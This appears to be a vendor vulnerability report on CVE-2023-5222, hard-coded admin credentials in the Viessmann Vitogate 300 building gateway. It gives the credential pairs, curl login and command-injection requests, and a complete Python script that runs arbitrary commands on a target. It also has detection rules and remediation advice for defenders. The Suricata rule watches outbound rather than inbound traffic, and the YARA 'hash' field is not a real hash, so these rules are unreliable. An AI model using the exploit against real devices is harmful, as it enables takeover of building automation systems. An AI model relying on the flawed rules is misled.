CVE-2023-5222
Executive Summary
CVE-2023-5222 is a critical vulnerability in the Viessmann Vitogate 300 series building automation gateway, affecting firmware versions up to 2.1.3.0. The flaw resides in the Web Management Interface (/cgi-bin/vitogate.cgi) and involves the use of hard-coded administrative credentials (vitomaster/viessmann1917 and vitogate/viessmann). An unauthenticated attacker with network access can exploit these credentials to gain full administrative control over the device. This vulnerability is publicly known, with both a Nuclei template and a Python exploit script available. The vendor has not responded to disclosure attempts, leaving devices unpatched and at high risk.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 9.8 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
The high CVSS score reflects the trivial exploitation, no required privileges, and the potential for complete compromise of the device's confidentiality, integrity, and availability.
Deep Dive & Mechanics
The vulnerability is a classic case of hard-coded credentials (CWE-259). The isValidUser function within /cgi-bin/vitogate.cgi compares user-supplied credentials against a static set of username/password pairs embedded in the firmware. The known credentials are:
vitomaster/viessmann1917vitogate/viessmann
The authentication mechanism accepts a JSON payload via a POST request to /cgi-bin/vitogate.cgi with the structure {"method":"put","form":"form-login","params":{"uid":"<username>","pwd":"<password>"}}. A successful authentication returns a JSON response containing "admin":true and a "sessionId" token.
Once authenticated, an attacker can leverage a second vulnerability (CVE-2023-5702) to achieve Remote Code Execution (RCE) by injecting commands into the ipaddr parameter of the form-4-7 form. This allows arbitrary command execution on the device's underlying operating system.
Vulnerable vs. Patched Code
Vulnerable Code (Firmware <= 2.1.3.0):
The isValidUser function contains hard-coded credential checks. A simplified representation:
bool isValidUser(char *uid, char *pwd) {
if (strcmp(uid, "vitomaster") == 0 && strcmp(pwd, "viessmann1917") == 0)
return true;
if (strcmp(uid, "vitogate") == 0 && strcmp(pwd, "viessmann") == 0)
return true;
return false;
}
Patched Code (Hypothetical): A patched version would remove hard-coded credentials and implement a secure authentication mechanism, such as:
bool isValidUser(char *uid, char *pwd) {
// Retrieve hashed password from secure storage (e.g., /etc/shadow)
char *stored_hash = get_password_hash(uid);
if (stored_hash == NULL) return false;
// Hash the provided password and compare
char *input_hash = hash_password(pwd);
bool result = (strcmp(stored_hash, input_hash) == 0);
free(stored_hash);
free(input_hash);
return result;
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target device running Vitogate 300 firmware <= 2.1.3.0.
- Network access to the device's web interface (default port 80).
Exploit Steps:
Authenticate using hard-coded credentials:
curl -X POST http://<target_ip>/cgi-bin/vitogate.cgi \ -H "Content-Type: application/json" \ -d '{"method":"put","form":"form-login","params":{"uid":"vitomaster","pwd":"viessmann1917"}}'The response will contain a
sessionIdtoken.Execute arbitrary commands (CVE-2023-5702): Using the session token, send a command injection payload:
curl -X POST http://<target_ip>/cgi-bin/vitogate.cgi \ -H "Content-Type: application/json" \ -d '{"method":"put","form":"form-4-7","session":"<sessionId>","params":{"ipaddr":"1;id"}}'
Full Exploit Script (Python):
import argparse
import requests
def banner():
banner = """
╔═══════════════════════════════════╗
CVE-2023-5702
Vitogate 300 RCE
Author: ByteHunter
╚═══════════════════════════════════╝
"""
print(banner)
def send_post_request(target_ip, command, target_port):
payload = {
"method": "put",
"form": "form-4-7",
"session": "",
"params": {
"ipaddr": f"1;{command}"
}
}
headers = {
"Host": target_ip,
"Content-Type": "application/json"
}
url = f"http://{target_ip}:{target_port}/cgi-bin/vitogate.cgi"
response = requests.post(url, json=payload, headers=headers)
if response.status_code == 200:
print("Result:")
print(response.text)
else:
print(f"Request failed! status code: {response.status_code}")
def main():
parser = argparse.ArgumentParser(description="Vitogate 300 RCE & Hardcoded Credentials")
parser.add_argument("--target", required=False, help="Target IP address")
parser.add_argument("--port", required=False, help="Target port", default="80")
parser.add_argument("--command", required=False, help="Command")
parser.add_argument("--creds", action="store_true", help="Show hardcoded credentials")
args = parser.parse_args()
if args.creds:
print("Vitogate 300 hardcoded administrative accounts credentials")
print("Username: vitomaster, Password: viessmann1917")
print("Username: vitogate, Password: viessmann")
else:
target_ip = args.target
target_port = args.port
command = args.command
if not (target_ip and command):
print("Both --target and --command options are required.\nor use --creds option to see hardcoded Credentials.")
return
send_post_request(target_ip, command, target_port)
if __name__ == "__main__":
banner()
main()
Blue Team
Detection & Response:
- Monitor for authentication anomalies: Look for successful logins using the known hard-coded usernames (
vitomaster,vitogate). - Inspect web traffic: Detect POST requests to
/cgi-bin/vitogate.cgiwith JSON payloads containing"form":"form-login"and the known credentials. - Check for command injection: Monitor for requests to
form-4-7with suspiciousipaddrparameters containing shell metacharacters (;,|,&,`). - Network segmentation: Isolate Vitogate devices on a separate VLAN with strict access controls.
- Firmware updates: If a patch becomes available, apply it immediately. In the absence of a patch, consider replacing the device.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/cgi-bin/vitogate.cgiwith JSON body containing"uid":"vitomaster"or"uid":"vitogate". - POST requests to
/cgi-bin/vitogate.cgiwith JSON body containing"form":"form-4-7"and"ipaddr"containing shell metacharacters. - Successful authentication responses containing
"admin":trueand a"sessionId".
- POST requests to
Host IOCs:
- Unauthorized processes or services running on the device.
- Modified configuration files (e.g.,
/etc/passwd,/etc/shadow). - Presence of new user accounts or SSH keys.
File IOCs:
- Log entries in
/var/logshowing authentication from unexpected IPs. - Temporary files created by command execution (e.g.,
/tmp/*).
- Log entries in
Detection Engineering
YARA Rule
rule CVE_2023_5222_Vitogate_Hardcoded_Creds {
meta:
description = "Detects hardcoded credentials in Viessmann Vitogate 300 firmware"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-5222"
hash = "490a004630440220222f63c67c9046697a06efbe38774ee6509194c3a0ee3edb7fff33a2f664fa1b022027f26fe75548084807efda55ef82fa76e7025f5b9623e9cb8976bcb85408c3bd"
strings:
$cred1 = "vitomaster"
$cred2 = "viessmann1917"
$cred3 = "vitogate"
$cred4 = "viessmann"
$func = "isValidUser"
condition:
all of ($cred*) or ($func and any of ($cred*))
}
Sigma Rule
title: CVE-2023-5222 - Viessmann Vitogate 300 Hardcoded Credential Exploitation
id: 8a4b6c2d-1e3f-4a5b-9c7d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit hardcoded credentials in Viessmann Vitogate 300
author: Valters IT
date: 2024-01-01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2023-5222
logsource:
category: webserver
product: apache
service: http
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/cgi-bin/vitogate.cgi'
cs-content-type: 'application/json'
cs-request-body|contains|all:
- 'form-login'
- 'vitomaster'
- 'viessmann1917'
condition: selection
falsepositives:
- Legitimate administrative access (should be rare)
level: critical
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2023-5222 - Viessmann Vitogate 300 Hardcoded Credential Exploitation";
flow:to_server,established;
content:"POST"; http_method;
content:"/cgi-bin/vitogate.cgi"; http_uri;
content:"application/json"; http_content_type;
content:"form-login";
content:"vitomaster";
content:"viessmann1917";
distance:0; within:100;
classtype:attempted-admin;
sid:1000001;
rev:1;
reference:cve,2023-5222;
)
Nuclei Template
id: CVE-2023-5222
info:
name: Viessmann Vitogate 300 - Hardcoded Password
author: ritikchaddha
severity: critical
description: |
A critical vulnerability in Viessmann Vitogate 300 up to 2.1.3.0 allows attackers to authenticate using hardcoded credentials in the Web Management Interface.
impact: |
An attacker could potentially gain unauthorized access to the device.
remediation: |
Update the device firmware to remove the hardcoded password or change it to a strong, unique password.
reference:
- https://vuldb.com/?ctiid.240364
- https://vuldb.com/?id.240364
- https://nvd.nist.gov/vuln/detail/CVE-2023-5222
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-5222
cwe-id: CWE-259
epss-score: 0.90238
epss-percentile: 0.99597
cpe: cpe:2.3:o:viessmann:vitogate_300_firmware:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
shodan-query: title:"Vitogate 300"
fofa-query: title="Vitogate 300"
vendor: viessmann
product: vitogate_300_firmware
tags: cve,cve2023,viessmann,vitogate,default-login,vkev,vuln
http:
- raw:
- |
POST /cgi-bin/vitogate.cgi HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"method":"put","form":"form-login","params":{"uid":"{{username}}","pwd":"{{password}}"}}
attack: pitchfork
payloads:
username:
- vitomaster
- vitogate
password:
- viessmann1917
- viessmann
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'admin":true'
- '"sessionId":'
condition: and
- type: word
part: content_type
words:
- 'application/json'
- type: status
status:
- 200
Remediation & Mitigation
Immediate Actions:
- Isolate affected devices: Place Vitogate 300 units on a separate, firewalled network segment with strict access controls.
- Change default credentials: If possible, change the hard-coded passwords via the device's configuration interface. Note: This may not be possible on all firmware versions.
- Monitor logs: Enable and monitor web server logs for authentication attempts using the known credentials.
Long-Term Solutions:
- Firmware update: Contact Viessmann for a patched firmware version. If unavailable, consider replacing the device with a secure alternative.
- Network segmentation: Implement VLANs and firewall rules to restrict access to the device to only authorized management stations.
- Vulnerability management: Regularly scan for and remediate vulnerabilities in IoT/OT devices.
Valters IT Signature
This report was generated by Valters IT, a DevSecOps and Cyber Threat Intelligence expert. For further analysis or remediation assistance, contact Valters IT.
{/* [Security Hash: C809C821B3EBF65A1DA9DE2D] */}